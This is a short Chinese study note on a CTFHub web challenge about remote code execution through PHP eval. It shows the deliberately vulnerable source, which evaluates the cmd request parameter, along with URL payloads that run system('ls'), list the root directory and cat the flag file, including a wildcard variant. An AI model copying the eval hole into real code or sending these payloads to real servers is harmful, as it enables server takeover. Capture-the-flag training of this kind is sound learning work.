CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
炽烈小老头2 分钟前
【每天学习一点算法 2025/12/30】最大子序和
学习·算法
搞机械的假程序猿7 分钟前
普中51单片机学习笔记-LCD1602液晶显示
笔记·学习·51单片机
HyperAI超神经11 分钟前
【vLLM 学习】Reproduciblity
人工智能·深度学习·学习·cpu·gpu·编程语言·vllm
好奇龙猫11 分钟前
【大学院-筆記試験練習:数据库(データベース問題訓練) と 软件工程(ソフトウェア)(4)】
学习
YJlio11 分钟前
LDMDump 学习笔记(13.9):动态磁盘元数据“黑盒”拆解工具
windows·笔记·学习
DisonTangor14 分钟前
腾讯开源混元翻译——HY-MT1.5
学习·自然语言处理·开源·aigc
找方案16 分钟前
我的 hello-agents 学习笔记:框架开发实践,从调用到玩转的进阶之路
人工智能·笔记·学习·hello-agents
青w韵16 分钟前
最新SpringAI-1.1.2接入openai兼容模型
java·学习·ai·springai
小徐不会敲代码~17 分钟前
Vue3 学习 6
开发语言·前端·vue.js·学习
●VON39 分钟前
智造之眼:人工智能如何重塑现代工业制造
人工智能·学习·制造·von